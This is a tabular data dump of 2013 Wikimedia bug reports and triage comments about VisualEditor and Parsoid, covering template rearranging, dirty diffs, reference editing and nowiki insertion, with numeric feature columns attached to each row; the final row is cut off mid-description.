234290,Botfixup: VisualEditor shows 6 items in a list which for which MW only generates 2 items,This is in Parsoid: http://parsoid.wmflabs.org/pt/Usu%C3%A1rio:Lechatjaune/Testes?oldid=36373624,,,1373577841,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-jakyw4q5ktlmqgd4sv3v,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,50.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,This is in Parsoid: URL
53191,Template rearranging itself,"Copied from English Wikipedia:

I was trying to edit a template in a table after the bug of the references inside template was fixed, but the edit broke the whole table. This was also happening before with the references bug. I don't know if the two bugs were reported together...maybe not. [http://en.wikipedia.org/w/index.php?title=Defiance_%28TV_series%29&diff=563767420&oldid=563763824 Here] is what happened.
<br>When I edited the template with the 12th episode, the cite error didn't appear. But when I clicked to save it, the 12th episode moved at the top of the table when it should be at the bottom. I reverted the edit and re-made it using ""edit source"". Can this be reported? Thank you [[User:TeamGale|TeamGale]] ([[User talk:TeamGale|talk]]) 16:58, 11 July 2013 (UTC)

**

This one has been around a while, but I think perhaps it wasn't properly reported earlier. I can't fidn it.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373569320,1390416930.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-mruibaiz5kt46pzezn7l,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,1.6666666666666667,2.0,2.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,2.6666666666666665,0.0,6.666666666666667,4.666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,4.333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,2.0,0.6666666666666666,2.0,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,0.0,0.3333333333333333,0.0,0.0,5.666666666666667,3.3333333333333335,10.0,1.3333333333333333,1.3333333333333333,7.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,1.6666666666666667,0.0,5.0,4.666666666666667,2.0,0.3333333333333333,0.6666666666666666,0.0,5.0,0.0,1.3333333333333333,1.0,0.0,1.0,0.3333333333333333,0.0,3.0,3.520979986197377,0.6886818495514148,"Copied from English Wikipedia:

I was trying to edit a template in a table after the bug of the references inside template was fixed, but the edit broke the whole table. This was also happening before with the references bug. I don't know if the two bugs were reported together...maybe not. [URL Here] is what happened.
<br>When I edited the template with the 12th episode, the cite error didn't appear. But when I clicked to save it, the 12th episode moved at the top of the table when it should be at the bottom. I reverted the edit and re-made it using ""edit source"". Can this be reported? Thank you [[User:TeamGale|TeamGale]] ([[User talk:TeamGale|talk]]) 16:58, 11 July 2013 (UTC)

**

This one has been around a while, but I think perhaps it wasn't properly reported earlier. I can't fidn it.

--------------------------
**Version**: unspecified
**Severity**: normal"
233796,Template rearranging itself,This was the Parsoid complex templates / VisualEditor dirtying edits bug that got fixed months ago; sorry for the very slow triage.,,,1390416930,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mruibaiz5kt46pzezn7l,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.583333333333333,0.9583333333333334,This was the Parsoid complex templates / VisualEditor dirtying edits bug that got fixed months ago; sorry for the very slow triage.
53188,Template editing within referencing is complex to the point of hampering usability,"See http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563842762#Reference_Issues:_Omnibus_Edition

User Joe Decker has detailed the steps necessary to add a reference to an article using a citation template. While I have as per his request entered some of these as separate bugs or enhancement requests, I am opening this one to note the complexity of the process. As he describes it, it is 73+ steps to achieve in VE what can be achieved in 11 in the older processes.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373566080,1385382810.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-mgnru2nwxtufpuc6lqyx,task_description,resolved,True,c1,3,False,False,False,1,,1.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,14.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,12.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,6.0,14.0,4.0,0.0,0.0,0.0,6.0,0.0,1.0,3.0,0.0,2.0,1.0,0.0,0.0,3.917525773195876,0.7216494845360825,"See URL

User Joe Decker has detailed the steps necessary to add a reference to an article using a citation template. While I have as per his request entered some of these as separate bugs or enhancement requests, I am opening this one to note the complexity of the process. As he describes it, it is 73+ steps to achieve in VE what can be achieved in 11 in the older processes.

--------------------------
**Version**: unspecified
**Severity**: normal"
233670,Template editing within referencing is complex to the point of hampering usability,"Merging this in with bug 50768.

*** This bug has been marked as a duplicate of bug 50768 ***",,,1385382810,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mgnru2nwxtufpuc6lqyx,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.04,0.68,"Merging this in with bug 50768.

*** This bug has been marked as a duplicate of bug 50768 ***"
233663,Template editing within referencing is complex to the point of hampering usability,Another editor has created a potential workflow for references. See http://en.wikipedia.org/wiki/User:Looie496/VE_Reference_editor,,,1373568433,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-mgnru2nwxtufpuc6lqyx,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,5.083333333333333,1.0,Another editor has created a potential workflow for references. See URL
53183,"VisualEditor: Design of the reference re-use pane is confusing, with a bold ""Use an existing source"" title that doesn't look like one","Unclear why the second option is bolded. An editor on English Wikipedia suggests that if only one of them is going to be bolded (create new source/use an existing source), it should be the other way around.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373562300,1385380627.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-hn23baiwxuaicjnc3ue4,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,3.0,0.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,10.0,5.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,3.0,8.0,5.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,2.0,3.0,0.0,0.0,0.0,3.903225806451613,0.7580645161290323,"Unclear why the second option is bolded. An editor on English Wikipedia suggests that if only one of them is going to be bolded (create new source/use an existing source), it should be the other way around.

--------------------------
**Version**: unspecified
**Severity**: normal"
233481,"VisualEditor: Design of the reference re-use pane is confusing, with a bold ""Use an existing source"" title that doesn't look like one",This was fixed some months ago in the re-work of the transclusion dialog; sorry for the slowness of reply.,,,1385380627,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hn23baiwxuaicjnc3ue4,task_subcomment,,True,c1,3,True,,,21,,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,26.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,4.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8260869565217392,0.8695652173913043,This was fixed some months ago in the re-work of the transclusion dialog; sorry for the slowness of reply.
53175,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","**Author:** `kwwilliams`

**Description:**
There have been some bug reports focusing on the ordering of template arguments, but there's also a problem with changing the basic layout of the templates. Look at http://en.wikipedia.org/w/index.php?title=Raven-Symon%C3%A9&diff=563794138&oldid=563793891 where a vandal changed the birthname. The parameter order has been maintained, but the diff is still virtually useless because of the spurious formatting change. If the editor changes the value of one parameter to a template, that change is all that should be made to the source.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373555340,1374271260.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-umxktvxo76lzoeghwqxz,task_description,resolved,True,c1,3,False,False,True,1,,1.5,0.0,0.0,1.5,0.0,4.0,1.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.5,7.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,8.5,3.5,6.0,2.0,1.5,11.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,7.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,2.0,0.0,1.0,0.0,0.0,0.0,4.120689655172415,0.7155172413793103,"**Author:** CODE

**Description:**
There have been some bug reports focusing on the ordering of template arguments, but there's also a problem with changing the basic layout of the templates. Look at URL where a vandal changed the birthname. The parameter order has been maintained, but the diff is still virtually useless because of the spurious formatting change. If the editor changes the value of one parameter to a template, that change is all that should be made to the source.

--------------------------
**Version**: unspecified
**Severity**: normal"
233175,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","**kwwilliams** wrote:

It's 51150.",,,1374272928,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.75,"**kwwilliams** wrote:

It's 51150."
233168,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","You have a choice of bug here, but it will be either 51150 (dirty diff) or 51003 (match style for new parameters and use appropriate style for new transclusions).

Bug 51150 seems to be rare these days when you look at the VE recentchanges diffs, but there still seem to be some recent examples of it occuring, which is why it was reopened.

VE recent changes on enwiki:
https://en.wikipedia.org/w/index.php?title=Special:RecentChanges&limit=100&tagfilter=visualeditor",,,1374272740,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,True,,,2,,1.0,0.0,0.0,1.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,4.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,6.0,6.0,2.0,6.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,6.0,10.0,4.0,0.0,0.0,0.0,6.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,3.768292682926829,0.7682926829268293,"You have a choice of bug here, but it will be either 51150 (dirty diff) or 51003 (match style for new parameters and use appropriate style for new transclusions).

Bug 51150 seems to be rare these days when you look at the VE recentchanges diffs, but there still seem to be some recent examples of it occuring, which is why it was reopened.

VE recent changes on enwiki:
URL"
233161,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","**kwwilliams** wrote:

This is *not* a duplicate of 51003. You need to maintain the original formatting, not any suggested formatting. If the original source lists the parameters like

{{name
|arg1|arg2
|arg3
|arg4
|arg5
}}

and someone changes arg2, all that should occur is that the value of arg2 should be changed. No braces should move. No newlines should be inserted or removed. The ""dirty diff"" is *precisely* what I am complaining about.

The various bugs around allowing a suggested format are all valid, but this isn't a duplicate. Diff lists are how we detect what editors have changed, and anything that dirties a diff is generally a bad thing. Reformatting templates when an argument is modified causes dirty diffs.",,,1374272519,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,False,,,2,,1.5,1.0,0.0,2.0,1.5,4.0,2.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,2.5,4.0,4.5,1.0,0.5,2.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,9.5,0.0,0.0,3.0,0.5,0.0,0.0,0.5,2.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,12.5,2.5,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,7.0,6.5,6.0,2.5,3.0,11.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,2.0,4.5,1.5,0.0,1.5,0.0,2.0,0.0,3.5,3.5,0.0,2.5,0.0,0.0,0.0,3.9615384615384617,0.6987179487179487,"**kwwilliams** wrote:

This is *not* a duplicate of 51003. You need to maintain the original formatting, not any suggested formatting. If the original source lists the parameters like

{{name
|arg1|arg2
|arg3
|arg4
|arg5
}}

and someone changes arg2, all that should occur is that the value of arg2 should be changed. No braces should move. No newlines should be inserted or removed. The ""dirty diff"" is *precisely* what I am complaining about.

The various bugs around allowing a suggested format are all valid, but this isn't a duplicate. Diff lists are how we detect what editors have changed, and anything that dirties a diff is generally a bad thing. Reformatting templates when an argument is modified causes dirty diffs."
233156,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","In that case this is duplicate of bug 51003.

*** This bug has been marked as a duplicate of bug 51003 ***",,,1374271260,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,18.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0714285714285716,0.6428571428571429,"In that case this is duplicate of bug 51003.

*** This bug has been marked as a duplicate of bug 51003 ***"
233152,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read",The dirty diff is not the question here. Clarifying title.,,,1374270992,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.083333333333333,0.9166666666666666,The dirty diff is not the question here. Clarifying title.
233149,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","**wicke** wrote:

Looks like VE bug 51150. Closing as duplicate.

%%%*** This bug has been marked as a duplicate of bug 51150 ***%%%",,,1374270889,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.6666666666666665,0.5,"**wicke** wrote:

Looks like VE bug 51150. Closing as duplicate.

%%%*** This bug has been marked as a duplicate of bug 51150 ***%%%"
233145,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","I think the idea of a TemplateData tag as to whether to keep new lines seems like a good one, if Parsoid would be interested.",,,1374270607,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,26.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,11.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,26.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.740740740740741,0.9259259259259259,"I think the idea of a TemplateData tag as to whether to keep new lines seems like a good one, if Parsoid would be interested."
233141,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","Agreed; this is true for existing templates, but it's also an issue when adding a long infobox to a page, for example.

It was suggested by French Wikipedians to add a tag to TemplateData (like '""collapsed"" = false') that would indicate to VisualEditor that the community consensus for a given template is to have one parameter per line, instead of cramming everything together (which could remain as the default behavior, and makes sense for many short templates).",,,1374252996,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,False,,,2,,1.0,1.0,0.0,1.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,2.0,2.0,4.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,16.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,6.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,2.0,15.0,3.0,0.0,4.0,0.0,2.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,4.148936170212766,0.7659574468085106,"Agreed; this is true for existing templates, but it's also an issue when adding a long infobox to a page, for example.

It was suggested by French Wikipedians to add a tag to TemplateData (like '""collapsed"" = false') that would indicate to VisualEditor that the community consensus for a given template is to have one parameter per line, instead of cramming everything together (which could remain as the default behavior, and makes sense for many short templates)."
53173,<nowiki/> added to wikilinks,"In http://en.wikipedia.org/w/index.php?title=Renewable_energy_in_Seychelles&diff=prev&oldid=563530801, the contributor says that he selected the words ""diesel generators"" for linking, but the editor inserted the nowiki to prevent the plural being part of the display. 

See http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563816729#Changing_link_text_often_results_in_bad_code.2C_wrong_links_and_unmatched_.3C.2Fnowki.3Es for this and other cases. I'm afraid i'm not quite sure how to report this, since I'm not sure what's happening.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=33091",Needs Triage,90.0,1373553780,1373567309.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-htn2o6dmt6ze2hhaf537,task_description,invalid,True,c1,3,False,False,True,1,,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,9.0,0.0,2.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,12.0,3.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,1.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.608695652173913,0.5978260869565217,"In URL the contributor says that he selected the words ""diesel generators"" for linking, but the editor inserted the nowiki to prevent the plural being part of the display. 

See URL for this and other cases. I'm afraid i'm not quite sure how to report this, since I'm not sure what's happening.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
232892,<nowiki/> added to wikilinks,"If the user selects ""diesel generator"" (i.e., misses the 's'), the resultant HTML would be

  <a href=foo>diesel generator</a>s 

The correct wikitext version of this is indeed

  [[diesel generator]]<nowiki />s

… which is probably not what the user wanted to do, but it appears to be what they asked VisualEditor to do.

Consequently, I'm going to mark this as INVALID [If this is not the case - that the user did indeed select the entirety of the two words and there's a bug, I'd really love to know what browser they were using so we can hunt down the problem in our selection code!]

Had they instead selected ""diesel generators"", VisualEditor/Parsoid would have created this as:

  [[diesel generator|diesel generators]]

… which is not ideal (I'd prefer the shorter [[diesel generator]]s) but does the job. (I've just triple-checked this in Firefox, Chrome and Safari - it doesn't appear to have broken.)

We could always expand users' selections to what we think they should have selected, but this would make it impossible for users to do some things that they may want to do, albeit less frequently. I'm not sure that preventing users from doing things that they can do in wikitext would be a good solution, in general.",,,1373567309,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-htn2o6dmt6ze2hhaf537,task_subcomment,,True,c1,3,True,,,1,,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,3.0,1.0,0.0,0.0,0.6666666666666666,3.0,2.6666666666666665,0.0,0.0,0.3333333333333333,3.0,0.3333333333333333,6.0,8.666666666666666,0.0,2.6666666666666665,0.3333333333333333,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,1.3333333333333333,2.0,0.0,5.0,1.0,1.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,2.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,10.333333333333334,1.0,1.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,2.3333333333333335,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,5.0,2.6666666666666665,6.666666666666667,1.6666666666666667,1.6666666666666667,8.0,0.0,0.0,0.3333333333333333,0.0,7.333333333333333,0.0,0.3333333333333333,0.0,6.333333333333333,8.666666666666666,4.0,0.0,2.0,0.0,6.333333333333333,0.0,2.6666666666666665,1.0,0.0,1.3333333333333333,0.6666666666666666,0.0,3.3333333333333335,3.7942612942612945,0.7278795278795279,"If the user selects ""diesel generator"" (i.e., misses the 's'), the resultant HTML would be

  <a href=foo>diesel generator</a>s 

The correct wikitext version of this is indeed

  [[diesel generator]]<nowiki />s

… which is probably not what the user wanted to do, but it appears to be what they asked VisualEditor to do.

Consequently, I'm going to mark this as INVALID [If this is not the case - that the user did indeed select the entirety of the two words and there's a bug, I'd really love to know what browser they were using so we can hunt down the problem in our selection code!]

Had they instead selected ""diesel generators"", VisualEditor/Parsoid would have created this as:

  [[diesel generator|diesel generators]]

… which is not ideal (I'd prefer the shorter [[diesel generator]]s) but does the job. (I've just triple-checked this in Firefox, Chrome and Safari - it doesn't appear to have broken.)

We could always expand users' selections to what we think they should have selected, but this would make it impossible for users to do some things that they may want to do, albeit less frequently. I'm not sure that preventing users from doing things that they can do in wikitext would be a good solution, in general."
53169,VisualEditor: blanking an article and starting from scratch causes malformations,"The screenshot is the result of the following:

